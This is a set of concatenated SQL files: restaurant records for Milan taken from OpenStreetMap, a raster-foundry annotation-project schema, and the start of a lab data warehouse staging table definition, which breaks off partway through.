('http://www.openstreetmap.org/node/4853779985',45.4800611,9.1867477, rand(),'Prime One Seven Burger Har', ''), ('http://www.openstreetmap.org/node/4864383579',45.482779,9.1590974, rand(),'Da Nazario', ''), ('http://www.openstreetmap.org/node/4864383582',45.4829135,9.1586427, rand(),'Mookuzai', ''), ('http://www.openstreetmap.org/node/4916242005',45.4990165,9.1912815, rand(),'Millelire 1913', ''), ('http://www.openstreetmap.org/node/4916312261',45.4986105,9.1966484, rand(),'Pizzeria Ristorante La Scaletta', ''), ('http://www.openstreetmap.org/node/4916537653',45.4962396,9.1927184, rand(),'Blu 2 Istanbul', ''), ('http://www.openstreetmap.org/node/4916541765',45.4970425,9.1932776, rand(),'Pizzeria Marisa', ''), ('http://www.openstreetmap.org/node/4916571010',45.4972635,9.1918608, rand(),'Il golfo di Mondello', ''), ('http://www.openstreetmap.org/node/4933663540',45.5374091,9.2287973, rand(),'La Cornucopia', ''), ('http://www.openstreetmap.org/node/4934282217',45.512047,9.2263927, rand(),'Trattoria La Madonnina', ''), ('http://www.openstreetmap.org/node/4934282328',45.5121363,9.2261419, rand(),'Pizzeria Santa Maria', ''), ('http://www.openstreetmap.org/node/4952154918',45.5222541,9.2144857, rand(),'Spontini', ''), ('http://www.openstreetmap.org/node/4985227703',45.4993349,9.1945629, rand(),'Ristorante L''Entità', ''), ('http://www.openstreetmap.org/node/4985229189',45.4968091,9.194756, rand(),'Ristorante La Villetta', ''), ('http://www.openstreetmap.org/node/4996265768',45.480776,9.2167823, rand(),'Fu Asian Restaurant', ''), ('http://www.openstreetmap.org/node/5015912583',45.4918915,9.1948029, rand(),'Kaori', ''), ('http://www.openstreetmap.org/node/5015912613',45.4932518,9.1949759, rand(),'Parbleu', ''), ('http://www.openstreetmap.org/node/5118519286',45.4945173,9.1568722, rand(),'La Sfinge', ''), ('http://www.openstreetmap.org/node/5122196160',45.484936,9.1624019, rand(),'Pier 52', ''), ('http://www.openstreetmap.org/node/5122196375',45.485675,9.1628981, rand(),'Napoli è ...', ''), ('http://www.openstreetmap.org/node/5122196557',45.4844358,9.1632092, rand(),'Ichimi', ''), ('http://www.openstreetmap.org/node/5139032316',45.5258593,9.2271745, rand(),'Ristorante Pizzeria San Michele', ''), ('http://www.openstreetmap.org/node/5139032647',45.525538,9.2283386, rand(),'La Coppa d''Oro', ''), ('http://www.openstreetmap.org/node/5139032677',45.5248953,9.2281589, rand(),'Isu', ''), ('http://www.openstreetmap.org/node/5194531903',45.4829915,9.1653308, rand(),'Izakaya', ''), ('http://www.openstreetmap.org/node/5204004764',45.5343497,9.193188, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/5246248411',45.4819281,9.1724476, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/5317052091',45.4804427,9.1716605, rand(),'Pizzeria da Mimmo', ''), ('http://www.openstreetmap.org/node/5317139125',45.4813587,9.1746231, rand(),'Trattoria Chinese Long Chang', ''), ('http://www.openstreetmap.org/node/5320092022',45.481076,9.1710885, rand(),'Pizzeria da Giuliano', ''), ('http://www.openstreetmap.org/node/5337299922',45.4829611,9.1698311, rand(),'La Cantina di Manuela', ''), ('http://www.openstreetmap.org/node/5349062557',45.4957593,9.2094047, rand(),'Dulcis in fundo', ''), ('http://www.openstreetmap.org/node/5367920867',45.5326238,9.2351606, rand(),'L''Ostricario', ''), ('http://www.openstreetmap.org/node/5405178041',45.494364,9.2154801, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/5405178042',45.4934135,9.2164819, rand(),'Blue Nami', ''), ('http://www.openstreetmap.org/node/5405178790',45.4954432,9.2174354, rand(),'Zimei', ''), ('http://www.openstreetmap.org/node/5405179422',45.4960222,9.2176339, rand(),'Rendez Vous', ''), ('http://www.openstreetmap.org/node/5421253076',45.4848693,9.1647752, rand(),'Ambaradan', ''), ('http://www.openstreetmap.org/node/5437838121',45.4896231,9.1872177, rand(),'Casa Ramen Super', ''), ('http://www.openstreetmap.org/node/5484148844',45.5329187,9.2268258, rand(),'Yoji', ''), ('http://www.openstreetmap.org/node/258076664',45.4885485,9.1653266, rand(),'La Mela Bianca', ''), ('http://www.openstreetmap.org/node/260349669',45.4912404,9.2444453, rand(),'NU', ''), ('http://www.openstreetmap.org/node/267033957',45.4913449,9.2190407, rand(),'Pizzeria Al Gargano', ''), ('http://www.openstreetmap.org/node/269925843',45.4785976,9.1842604, rand(),'Volta Street', ''), ('http://www.openstreetmap.org/node/281819163',45.4938118,9.1985901, rand(),'Trattoria Casa Fontana - 23 risotti', ''), ('http://www.openstreetmap.org/node/282472015',45.5283647,9.2270264, rand(),'Osteria del Riccio', ''), ('http://www.openstreetmap.org/node/309697691',45.4858994,9.168171, rand(),'Rifugio Delicatessen', ''), ('http://www.openstreetmap.org/node/310987054',45.5172346,9.1917957, rand(),'Osteria Ambrosiana', ''), ('http://www.openstreetmap.org/node/446783492',45.499762,9.223294, rand(),'Vecchio Aratro', ''), ('http://www.openstreetmap.org/node/540813377',45.4846305,9.1628726, rand(),'Al Toscanaccio', ''), ('http://www.openstreetmap.org/node/540813403',45.4846164,9.1658099, rand(),'Contro Vento', ''), ('http://www.openstreetmap.org/node/540813427',45.4828365,9.16569, rand(),'Rong Lai', ''), ('http://www.openstreetmap.org/node/540830202',45.4827064,9.1666905, rand(),'Little Italy', ''), ('http://www.openstreetmap.org/node/541064040',45.4849763,9.1669741, rand(),'Cucina In', ''), ('http://www.openstreetmap.org/node/541064050',45.4852204,9.1672155, rand(),'3 Jolie', ''), ('http://www.openstreetmap.org/node/543404060',45.4946248,9.1558934, rand(),'Ristorante Brasile', ''), ('http://www.openstreetmap.org/node/543404370',45.4963054,9.1552089, rand(),'Ristorante Cinese', ''), ('http://www.openstreetmap.org/node/915269431',45.5286014,9.2748757, rand(),'La Rosa dei Venti', ''), ('http://www.openstreetmap.org/node/915269432',45.5285939,9.2761202, rand(),'Pizzeria Castello', ''), ('http://www.openstreetmap.org/node/1118675756',45.4872321,9.2172633, rand(),'Kimura', ''), ('http://www.openstreetmap.org/node/1298672625',45.4883612,9.1526327, rand(),'Qui si mangia', ''), ('http://www.openstreetmap.org/node/1318763914',45.5287502,9.1786264, rand(),'Trattoria A casa mia', ''), ('http://www.openstreetmap.org/node/1432170553',45.5234499,9.1926098, rand(),'California', ''), ('http://www.openstreetmap.org/node/1684675760',45.4847055,9.1979499, rand(),'Ristorante Nectare', ''), ('http://www.openstreetmap.org/node/1737981848',45.5046046,9.1991462, rand(),'Steak House Milano', ''), ('http://www.openstreetmap.org/node/1807030451',45.4837997,9.2191918, rand(),'Buona idea', ''), ('http://www.openstreetmap.org/node/1895967931',45.4906241,9.2251227, rand(),'Capo Verde', ''), ('http://www.openstreetmap.org/node/1896236915',45.4885656,9.2238522, rand(),'M<NAME>', ''), ('http://www.openstreetmap.org/node/1901845028',45.483375,9.2040282, rand(),'P<NAME>', ''), ('http://www.openstreetmap.org/node/1944410727',45.49054,9.1470926, rand(),'Ristò', ''), ('http://www.openstreetmap.org/node/1955032802',45.4823379,9.2396263, rand(),'Bar Trattoria Commercio', ''), ('http://www.openstreetmap.org/node/2034384164',45.4839435,9.2423852, rand(),'Del borgo', ''), ('http://www.openstreetmap.org/node/2034717482',45.4823767,9.2399492, rand(),'Mauro e Luisa', ''), ('http://www.openstreetmap.org/node/2052642511',45.4842205,9.1983528, rand(),'L''ombra della sera', ''), ('http://www.openstreetmap.org/node/2095618239',45.4856008,9.1914383, rand(),'Trattoria da Tomaso', ''), ('http://www.openstreetmap.org/node/2097778115',45.5146378,9.1730171, rand(),'Su Barrile', ''), ('http://www.openstreetmap.org/node/2161119627',45.4812016,9.1915463, rand(),'Ristorante All''Opera', ''), ('http://www.openstreetmap.org/node/2263249788',45.4828674,9.2304897, rand(),'Al piccolo borgo', ''), ('http://www.openstreetmap.org/node/2272560098',45.4825418,9.1838238, rand(),'Cost', ''), ('http://www.openstreetmap.org/node/2290137837',45.4918013,9.230205, rand(),'Grigliomania', ''), ('http://www.openstreetmap.org/node/2328659096',45.4864531,9.2297103, rand(),'Pizza House', ''), ('http://www.openstreetmap.org/node/2329193228',45.4854417,9.235314, rand(),'La Trattoriccia', ''), ('http://www.openstreetmap.org/node/2329193231',45.485611,9.2348922, rand(),'Sunshine', ''), ('http://www.openstreetmap.org/node/2329193233',45.4843163,9.2340697, rand(),'Nuova Pizza Mundial', ''), ('http://www.openstreetmap.org/node/2329193235',45.4858078,9.2357087, rand(),'Al Sorriso', ''), ('http://www.openstreetmap.org/node/2380916747',45.4977203,9.2390246, rand(),'Jam Grill House', ''), ('http://www.openstreetmap.org/node/2403719020',45.4833605,9.1998505, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/2403719026',45.4863997,9.2039414, rand(),'Roadhouse', ''), ('http://www.openstreetmap.org/node/2409311927',45.4982589,9.2082672, rand(),'SushiYo', ''), ('http://www.openstreetmap.org/node/2416016307',45.4788495,9.1858275, rand(),'Alexander', ''), ('http://www.openstreetmap.org/node/2416016311',45.4793081,9.1857787, rand(),'Osteria Brunello', ''), ('http://www.openstreetmap.org/node/2416148139',45.4808103,9.1860223, rand(),'Peperino', ''), ('http://www.openstreetmap.org/node/2417414819',45.4840136,9.1983021, rand(),'Il Tavolino', ''), ('http://www.openstreetmap.org/node/2419130554',45.4918116,9.188719, rand(),'Osteria al Nove', ''), ('http://www.openstreetmap.org/node/2419130558',45.4921349,9.1888927, rand(),'Ristorante al Tronco', ''), ('http://www.openstreetmap.org/node/2433809548',45.490038,9.1957786, rand(),'Tr<NAME>', ''), ('http://www.openstreetmap.org/node/2438877447',45.488097,9.1886929, rand(),'Il Bottegone', ''), ('http://www.openstreetmap.org/node/2456061001',45.4860425,9.1883419, rand(),'Vivà', ''), ('http://www.openstreetmap.org/node/2471320046',45.4788629,9.1843597, rand(),'Verger', ''), ('http://www.openstreetmap.org/node/2479386542',45.486859,9.1853403, rand(),'Fiori e Fornelli & Capra e Cavoli', ''), ('http://www.openstreetmap.org/node/2479398392',45.4867123,9.1885173, rand(),'Ristorante Le Regioni', ''), ('http://www.openstreetmap.org/node/2479405419',45.4874287,9.1884491, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/2479437271',45.4881423,9.1882639, rand(),'L''Isola del gusto', ''), ('http://www.openstreetmap.org/node/2488587270',45.4870798,9.1945539, rand(),'Verdeblù', ''), ('http://www.openstreetmap.org/node/2488587274',45.4875546,9.1949187, rand(),'Bar Ristorante Sapori', ''), ('http://www.openstreetmap.org/node/2488604226',45.4875495,9.1892459, rand(),'La Guinguette', ''), ('http://www.openstreetmap.org/node/2488604883',45.4876468,9.1886438, rand(),'Kiki', ''), ('http://www.openstreetmap.org/node/2488654835',45.4895582,9.1869755, rand(),'Sapori di Casa', ''), ('http://www.openstreetmap.org/node/2491545064',45.4911505,9.1861202, rand(),'Sticaus', ''), ('http://www.openstreetmap.org/node/2491555592',45.4913253,9.1877416, rand(),'Trattoria Il Marinaio', ''), ('http://www.openstreetmap.org/node/2496456233',45.4788619,9.2279089, rand(),'SeRist', ''), ('http://www.openstreetmap.org/node/2519017875',45.4962176,9.1800165, rand(),'L''Altra Isola', ''), ('http://www.openstreetmap.org/node/2550552632',45.4808798,9.2167915, rand(),'Piccola Hosteria', ''), ('http://www.openstreetmap.org/node/2558935281',45.4969008,9.1887331, rand(),'Ristorante Pizzeria Al 91', ''), ('http://www.openstreetmap.org/node/2688625594',45.4834059,9.2154688, rand(),'Pi<NAME>', ''), ('http://www.openstreetmap.org/node/2724262380',45.4809725,9.1881291, rand(),'The Prime', ''), ('http://www.openstreetmap.org/node/2947891393',45.4834151,9.1863682, rand(),'Cavoli', ''), ('http://www.openstreetmap.org/node/3049154293',45.4839356,9.1812765, rand(),'Myke My Kitchen', ''), ('http://www.openstreetmap.org/node/3079034142',45.4810239,9.1927387, rand(),'Petit Bistrot', ''), ('http://www.openstreetmap.org/node/3114603764',45.4830752,9.1728373, rand(),'Pupurry', ''), ('http://www.openstreetmap.org/node/3147151909',45.4883623,9.1895636, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/3147154529',45.4896726,9.1958844, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/3147154530',45.488016,9.1896562, rand(),'L''Anima', ''), ('http://www.openstreetmap.org/node/3147174910',45.488567,9.1902301, rand(),'Sulle Nuvole', ''), ('http://www.openstreetmap.org/node/3147227481',45.4864615,9.1957816, rand(),'Donizetti', ''), ('http://www.openstreetmap.org/node/3147227482',45.4875554,9.1958281, rand(),'Open Mind Bistrot', ''), ('http://www.openstreetmap.org/node/3189034057',45.4979364,9.14514, rand(),'R<NAME>lli', ''), ('http://www.openstreetmap.org/node/3217982356',45.4829391,9.1990118, rand(),'Osteria della Carne', ''), ('http://www.openstreetmap.org/node/3217982891',45.483058,9.2009409, rand(),'Farinami', ''), ('http://www.openstreetmap.org/node/3217983444',45.4824754,9.2013986, rand(),'Antares', ''), ('http://www.openstreetmap.org/node/3217983531',45.4818022,9.1944257, rand(),'R<NAME>', ''), ('http://www.openstreetmap.org/node/3225290992',45.4926008,9.2170779, rand(),'Al tempio d''oro', ''), ('http://www.openstreetmap.org/node/3245120735',45.4921735,9.2687174, rand(),'Cascina Ovi', ''), ('http://www.openstreetmap.org/node/3307148692',45.4795424,9.1886103, rand(),'Meatbar', ''), ('http://www.openstreetmap.org/node/3386286646',45.4889294,9.1839905, rand(),'Spago', ''), ('http://www.openstreetmap.org/node/3429941130',45.5144489,9.2073156, rand(),'University Bar', ''), ('http://www.openstreetmap.org/node/3442415269',45.5328231,9.2471787, rand(),'Happy Moments', ''), ('http://www.openstreetmap.org/node/3448550215',45.4805584,9.1914793, rand(),'Il Liberty', ''), ('http://www.openstreetmap.org/node/3476245745',45.4803738,9.2186161, rand(),'I Sapori di Giovy', ''), ('http://www.openstreetmap.org/node/3476326824',45.4801832,9.2173629, rand(),'Dragon', ''), ('http://www.openstreetmap.org/node/3476351583',45.4792485,9.2176499, rand(),'Atlasfoyer', ''), ('http://www.openstreetmap.org/node/3517151649',45.4830386,9.2238029, rand(),'Al Less', ''), ('http://www.openstreetmap.org/node/3521819297',45.4799311,9.1966466, rand(),'Acanto', ''), ('http://www.openstreetmap.org/node/3521819309',45.49017,9.1830088, rand(),'Viva la Vida', ''), ('http://www.openstreetmap.org/node/3521819399',45.4795002,9.1949556, rand(),'Clotilde Bistrot', ''), ('http://www.openstreetmap.org/node/3521849183',45.4894833,9.1820443, rand(),'L''Aquarius', ''), ('http://www.openstreetmap.org/node/3719677635',45.5043039,9.2224353, rand(),'New Friday', ''), ('http://www.openstreetmap.org/node/3758885836',45.4836052,9.1981483, rand(),'Trattoria del Generale', ''), ('http://www.openstreetmap.org/node/3764239494',45.4865345,9.2377116, rand(),'El Hornero', ''), ('http://www.openstreetmap.org/node/3770135390',45.4848895,9.2096823, rand(),'Vizi e Sfizi', ''), ('http://www.openstreetmap.org/node/3771161982',45.4801908,9.2200426, rand(),'Nassa Osteria', ''), ('http://www.openstreetmap.org/node/3799690259',45.4862976,9.1900413, rand(),'Bio.it', ''), ('http://www.openstreetmap.org/node/3799690704',45.4801809,9.1868082, rand(),'Perimetro', ''), ('http://www.openstreetmap.org/node/3800675563',45.5023062,9.2119567, rand(),'Refettorio Ambrosiano', ''), ('http://www.openstreetmap.org/node/3834926399',45.5337118,9.2305407, rand(),'Ristorante Rondò', ''), ('http://www.openstreetmap.org/node/3848621227',45.4839016,9.2045813, rand(),'Arsilè', ''), ('http://www.openstreetmap.org/node/3848621237',45.4835812,9.2047725, rand(),'La Baita', ''), ('http://www.openstreetmap.org/node/3848621436',45.4833239,9.2022214, rand(),'City Life', ''), ('http://www.openstreetmap.org/node/3861300004',45.487326,9.1911231, rand(),'CumGranoSalis', ''), ('http://www.openstreetmap.org/node/3877328075',45.48544,9.1549106, rand(),'Nerino', ''), ('http://www.openstreetmap.org/node/3899392302',45.486217,9.2329236, rand(),'Noodle house', ''), ('http://www.openstreetmap.org/node/3949536741',45.5364782,9.2404096, rand(),'Al Vecchio Teatro', ''), ('http://www.openstreetmap.org/node/3949538591',45.5364937,9.2374743, rand(),'Magaluf', ''), ('http://www.openstreetmap.org/node/3958620196',45.4831694,9.2301294, rand(),'Balafon', ''), ('http://www.openstreetmap.org/node/3976146296',45.4909616,9.183956, rand(),'Trattoria Tiberio', ''), ('http://www.openstreetmap.org/node/4041813191',45.4877508,9.2038844, rand(),'Ristorante Emanuele', ''), ('http://www.openstreetmap.org/node/4092138537',45.5099231,9.2137956, rand(),'Ristorante Botto', ''), ('http://www.openstreetmap.org/node/4129700109',45.496963,9.1813424, rand(),'Ristorante 168', ''), ('http://www.openstreetmap.org/node/4142385795',45.493407,9.1842186, rand(),'Forchetta d''Oro', ''), ('http://www.openstreetmap.org/node/4142386594',45.5086071,9.2082805, rand(),'Tr<NAME>', ''), ('http://www.openstreetmap.org/node/4142387315',45.4932866,9.1836955, rand(),'Ristorante Lepontina', ''), ('http://www.openstreetmap.org/node/4207083781',45.4889249,9.170753, rand(),'Osteria al 55', ''), ('http://www.openstreetmap.org/node/4207084492',45.4890922,9.1695563, rand(),'Ristor<NAME>', ''), ('http://www.openstreetmap.org/node/4207085490',45.4873264,9.1714672, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/4207085866',45.4858486,9.1704138, rand(),'Ristorante Melaverde', ''), ('http://www.openstreetmap.org/node/4217358929',45.5125011,9.2498533, rand(),'Bar Trattoria Pizzeria "Da Marco"', ''), ('http://www.openstreetmap.org/node/4230559078',45.5113764,9.1756235, rand(),'Al Paradiso della Pizza', ''), ('http://www.openstreetmap.org/node/4237135015',45.5358218,9.2320496, rand(),'Streat Food', ''), ('http://www.openstreetmap.org/node/4237136578',45.5331905,9.2292239, rand(),'Momenti Italiani', ''), ('http://www.openstreetmap.org/node/4237141686',45.534802,9.2312148, rand(),'Spinnaker', ''), ('http://www.openstreetmap.org/node/4237618032',45.4928752,9.1493308, rand(),'Innocenti Evasioni', ''), ('http://www.openstreetmap.org/node/4277858843',45.4894858,9.2097656, rand(),'Dinky', ''), ('http://www.openstreetmap.org/node/4277859750',45.4986424,9.2035445, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/4277859751',45.4889035,9.2099554, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/4281540624',45.50056,9.1630141, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/4304781358',45.4831836,9.1887121, rand(),'Replay - The Stage Fine Dining', ''), ('http://www.openstreetmap.org/node/4310480991',45.5090017,9.2221076, rand(),'Tizio & Caio', ''), ('http://www.openstreetmap.org/node/4315738353',45.4813241,9.1857686, rand(),'Osteria del Gambero Rosso', ''), ('http://www.openstreetmap.org/node/4315738901',45.481159,9.185503, rand(),'Morsi e Rimorsi', ''), ('http://www.openstreetmap.org/node/4327706740',45.5350267,9.2357896, rand(),'Caffè degli Artisti', ''), ('http://www.openstreetmap.org/node/4333479131',45.5156919,9.2085178, rand(),'Ristorante La Bicocca', ''), ('http://www.openstreetmap.org/node/4339006887',45.4811702,9.2173405, rand(),'Gustosa', ''), ('http://www.openstreetmap.org/node/4339009890',45.4789501,9.2166726, rand(),'Tarantella', ''), ('http://www.openstreetmap.org/node/4352799090',45.5006509,9.224423, rand(),'Della Torre', ''), ('http://www.openstreetmap.org/node/4374347652',45.509083,9.2228522, rand(),'Acquacheta', ''), ('http://www.openstreetmap.org/node/4405534293',45.5217811,9.2162725, rand(),'mediterraneo', ''), ('http://www.openstreetmap.org/node/4405541692',45.5220358,9.2164251, rand(),'rosso pomodoro', ''), ('http://www.openstreetmap.org/node/4405576690',45.5218844,9.2164423, rand(),'gusto', ''), ('http://www.openstreetmap.org/node/4405576691',45.5152024,9.2113814, rand(),'dino''s', ''), ('http://www.openstreetmap.org/node/4417957689',45.5180955,9.2086637, rand(),'Premiata Trattoria Arlati', ''), ('http://www.openstreetmap.org/node/4417987189',45.4901765,9.2202965, rand(),'Trattoria da Abele', ''), ('http://www.openstreetmap.org/node/4418027390',45.4898297,9.1958988, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/4424657166',45.5181236,9.2085736, rand(),'Ristorante San Glicerio 1', ''), ('http://www.openstreetmap.org/node/4432730492',45.4883022,9.2275095, rand(),'trattoria Mirta', ''), ('http://www.openstreetmap.org/node/4433977222',45.4905026,9.2222732, rand(),'Pizzeria Partenopea', ''), ('http://www.openstreetmap.org/node/4444299066',45.4805567,9.2091999, rand(),'Little Italy', ''), ('http://www.openstreetmap.org/node/4444299067',45.4801011,9.2087926, rand(),'Sabbioneda', ''), ('http://www.openstreetmap.org/node/4444299068',45.4803389,9.2090251, rand(),'Viva', ''), ('http://www.openstreetmap.org/node/4496388368',45.4794411,9.2022955, rand(),'Sax', ''), ('http://www.openstreetmap.org/node/4496388891',45.4807359,9.1996984, rand(),'Nhero', ''), ('http://www.openstreetmap.org/node/4496389072',45.4803936,9.1997843, rand(),'Parioli', ''), ('http://www.openstreetmap.org/node/4508379086',45.4912621,9.2047369, rand(),'Bibo''s Food And Coffee', ''), ('http://www.openstreetmap.org/node/4512776875',45.4795836,9.1681299, rand(),'Ristorante Montecristo', ''), ('http://www.openstreetmap.org/node/4553487882',45.4920415,9.1878809, rand(),'Angolomilano', ''), ('http://www.openstreetmap.org/node/4584486996',45.4942721,9.1874949, rand(),'Cucina Sri Lanka', ''), ('http://www.openstreetmap.org/node/4598901045',45.4857729,9.1527178, rand(),'Mangia & Bevi Wok', ''), ('http://www.openstreetmap.org/node/4614427711',45.5024053,9.1570631, rand(),'Meet', ''), ('http://www.openstreetmap.org/node/4614427718',45.4995312,9.1521028, rand(),'Cicciobello', ''), ('http://www.openstreetmap.org/node/4690870504',45.4794738,9.1647193, rand(),'La Taverna della Trisa', ''), ('http://www.openstreetmap.org/node/4690870510',45.4794033,9.1645949, rand(),'Osteria della Via Appia', ''), ('http://www.openstreetmap.org/node/4690870746',45.4788837,9.1629933, rand(),'Trattoria La Gerla', ''), ('http://www.openstreetmap.org/node/4690874427',45.4804762,9.1609521, rand(),'Ristorante Mes Amis', ''), ('http://www.openstreetmap.org/node/4715312965',45.4821329,9.1675808, rand(),'Tra di Noi', ''), ('http://www.openstreetmap.org/node/4715313623',45.4829416,9.1670587, rand(),'Il Saronnino', ''), ('http://www.openstreetmap.org/node/4715315340',45.4837136,9.1671546, rand(),'Arrows', ''), ('http://www.openstreetmap.org/node/4715316595',45.4831108,9.1700447, rand(),'Osteria Procaccini 37', ''), ('http://www.openstreetmap.org/node/4781363305',45.4843097,9.163454, rand(),'Premiato Forno Cantoni', ''), ('http://www.openstreetmap.org/node/4781363866',45.4843252,9.1639126, rand(),'Osteria Le Pietre Cavate', ''), ('http://www.openstreetmap.org/node/4782433638',45.5329605,9.2281542, rand(),'Ristorante Il Boschetto', ''), ('http://www.openstreetmap.org/node/4782434921',45.5325908,9.2287954, rand(),'Number One', ''), ('http://www.openstreetmap.org/node/4818143288',45.5152419,9.213733, rand(),'Harry''s Bar', ''), ('http://www.openstreetmap.org/node/4824578043',45.4806283,9.1926619, rand(),'Amami', ''), ('http://www.openstreetmap.org/node/4824581333',45.4804826,9.1924902, rand(),'Soulgreen', ''), ('http://www.openstreetmap.org/node/4891607560',45.4891143,9.2108935, rand(),'Bel Paese', ''), ('http://www.openstreetmap.org/node/4891608724',45.4893493,9.2100379, rand(),'Trattoria allo Scalino', ''), ('http://www.openstreetmap.org/node/4952154917',45.5224082,9.2150865, rand(),'Steak n Shake', ''), ('http://www.openstreetmap.org/node/5074923145',45.4943019,9.1933465, rand(),'Ristorante Ivana', ''), ('http://www.openstreetmap.org/node/5122196390',45.4853158,9.1629839, rand(),'Ristorante San Giorgio', ''), ('http://www.openstreetmap.org/node/5122196433',45.4843643,9.1629812, rand(),'Osteria del Borgo Antico', ''), ('http://www.openstreetmap.org/node/5126832653',45.5098963,9.1750477, rand(),'Lungomare', ''), ('http://www.openstreetmap.org/node/5139032213',45.5239708,9.2269841, rand(),'Il Mar Rosso', ''), ('http://www.openstreetmap.org/node/5149299524',45.4971665,9.145694, rand(),'L''immagine Bistrot Ristorante', ''), ('http://www.openstreetmap.org/node/5166344144',45.5102255,9.2421216, rand(),'El Cadreghin', ''), ('http://www.openstreetmap.org/node/5173579997',45.4853972,9.2116928, rand(),'Il Capriccio', ''), ('http://www.openstreetmap.org/node/5194531669',45.4815209,9.1670769, rand(),'I Caminetti del Sempione', ''), ('http://www.openstreetmap.org/node/5194531684',45.4808025,9.1665485, rand(),'Sciuscià', ''), ('http://www.openstreetmap.org/node/5194531774',45.4831777,9.165705, rand(),'Kitchen Society', ''), ('http://www.openstreetmap.org/node/5194531880',45.4826436,9.1660979, rand(),'Achar', ''), ('http://www.openstreetmap.org/node/5194531946',45.4819008,9.1650599, rand(),'Garage Pizza & Co.', ''), ('http://www.openstreetmap.org/node/5287291244',45.494646,9.2205709, rand(),'Osteria Sancio Pancia', ''), ('http://www.openstreetmap.org/node/5301216657',45.5027924,9.1666833, rand(),'Al Padellone', ''), ('http://www.openstreetmap.org/node/5359080721',45.493353,9.188133, rand(),'Vintage Bakery', ''), ('http://www.openstreetmap.org/node/5366072321',45.4810536,9.2097611, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/5368603191',45.4986628,9.1744395, rand(),'<NAME>', ''), ('http://www.openstreetmap.org/node/5393074935',45.4903816,9.2148645, rand(),'Buongusto', ''), ('http://www.openstreetmap.org/node/5393514681',45.4821681,9.2164632, rand(),'R<NAME>', ''), ('http://www.openstreetmap.org/node/5405178108',45.4948096,9.2169499, rand(),'Rondò', ''), ('http://www.openstreetmap.org/node/5405179423',45.4959282,9.2164108, rand(),'Osteria della Stazione', ''), ('http://www.openstreetmap.org/node/5437614621',45.4806436,9.1709183, rand(),'cirispaccio', ''), ('http://www.openstreetmap.org/node/5450827386',45.4816883,9.1947573, rand(),'Casa Gourmet', ''), ('http://www.openstreetmap.org/node/5459041216',45.4845988,9.2461024, rand(),'Osteria Milano', ''), ('http://www.openstreetmap.org/node/5465632091',45.486206,9.1603239, rand(),'Chatulle', ''), ('http://www.openstreetmap.org/node/5484148900',45.5326519,9.2256135, rand(),'Girasole', ''), ('http://www.openstreetmap.org/node/5484157985',45.5322893,9.2295617, rand(),'Ristorante Morganti 2', ''); UNLOCK TABLES;
<reponame>pomadchin/raster-foundry CREATE TYPE public.annotation_project_type AS ENUM ( 'DETECTION', 'CLASSIFICATION', 'SEGMENTATION' ); CREATE TYPE public.tile_layer_type AS ENUM ( 'TMS', 'MVT' ); CREATE TABLE public.annotation_projects ( id uuid primary key, created_at timestamp without time zone NOT NULL, created_by character varying(255) NOT NULL references users(id), name text NOT NULL, project_type public.annotation_project_type NOT NULL, task_size_meters integer NOT NULL, aoi public.geometry(Geometry,3857), organization_id uuid NOT NULL references organizations(id), labelers_team_id uuid NOT NULL references teams(id), validators_team_id uuid NOT NULL references teams(id), project_id uuid references projects(id) ); CREATE TABLE public.tiles( id uuid primary key, name text NOT NULL, url text NOT NULL, is_default boolean NOT NULL default false, is_overlay boolean NOT NULL default false, layer_type tile_layer_type NOT NULL default 'TMS', annotation_project_id uuid NOT NULL references annotation_projects(id) ); CREATE TABLE public.annotation_label_class_groups ( id uuid primary key, name text NOT NULL, annotation_project_id uuid NOT NULL references annotation_projects(id), idx int default 0 NOT NULL ); CREATE TABLE public.annotation_label_classes ( id uuid primary key, name text NOT NULL, annotation_label_group_id uuid NOT NULL references annotation_label_class_groups(id), color_hex_code text NOT NULL, is_default boolean default false, is_determinant boolean default false, idx int NOT NULL default 0 ); CREATE TABLE public.annotation_labels ( id uuid primary key, created_at timestamp without time zone NOT NULL, created_by character varying(255) NOT NULL references users(id), annotation_project_id uuid NOT NULL references annotation_projects(id), annotation_task_id uuid NOT NULL references tasks(id), geometry public.geometry(Geometry,3857) ); CREATE INDEX annotation_labels_annotation_project_id_idx ON annotation_labels (annotation_project_id); CREATE TABLE annotation_labels_annotation_label_classes ( annotation_label_id uuid NOT NULL references annotation_labels(id), annotation_class_id uuid NOT NULL references annotation_label_classes(id) ); CREATE INDEX annotation_labels_annotation_label_classes_label_id_idx ON annotation_labels_annotation_label_classes (annotation_label_id);
<reponame>Sitra-Isaacus/VSSHP-Kettle-ETL -- Table: stage_labdw.labdw_transform -- DROP TABLE stage_labdw.labdw_transform; CREATE TABLE stage_labdw.labdw_transform ( testid text, testp text, test text, testt text, urgency text, sampleid text, cost double precision, fee double precision, outcomet text, outcomen double precision, unit text, microbe text, refmin double precision, refmax double precision, refval text, outsour text, weekday text, custorg0 text, custorg1 text, custorg2 text, custorg3 text, custorgt text, projid text, payer1 text, payer2 text, provorg1 text, labspecd text, labspec text, provorg2 text, testorg text, datetime1 timestamp without time zone, yy1 text, mm1 text, dd1 text, hh1 text, datetime2 timestamp without time zone, yy2 text, mm2 text, dd2 text, hh2 text, datetime3 timestamp without time zone, yy3 text, mm3 text, dd3 text, hh3 text, datetime4 timestamp without time zone, yy4 text, mm4 text, dd4 text, hh4 text, datetime5 timestamp without time zone, yy5 text, mm5 text, dd5 text, hh5 text, datetime6 timestamp without time zone, yy6 text, mm6 text, dd6 text, hh6 text, datetime7 timestamp without time zone, yy7 text, mm7 text, dd7 text, hh7 text, delay1 double precision, delay2 double precision, delay3 double precision, delay4 double precision, delay5 double precision, delay6 double precision, macid text, batchid text, patidcode text, agedays double precision, ageyear double precision, sex text, patarea1 text, spec text, agecat1 text, autoack text, dayt1 text, dayt2 text, dayt3 text, dayt4 text, dayt5 text, dayt6 text, dayt7 text, dayt8 text, macgrp text, testgrp text, agecat2 text, agecat3 text, hetu text, mergeid text, datetime8 timestamp without time zone, yy8 text, mm8 text, dd8 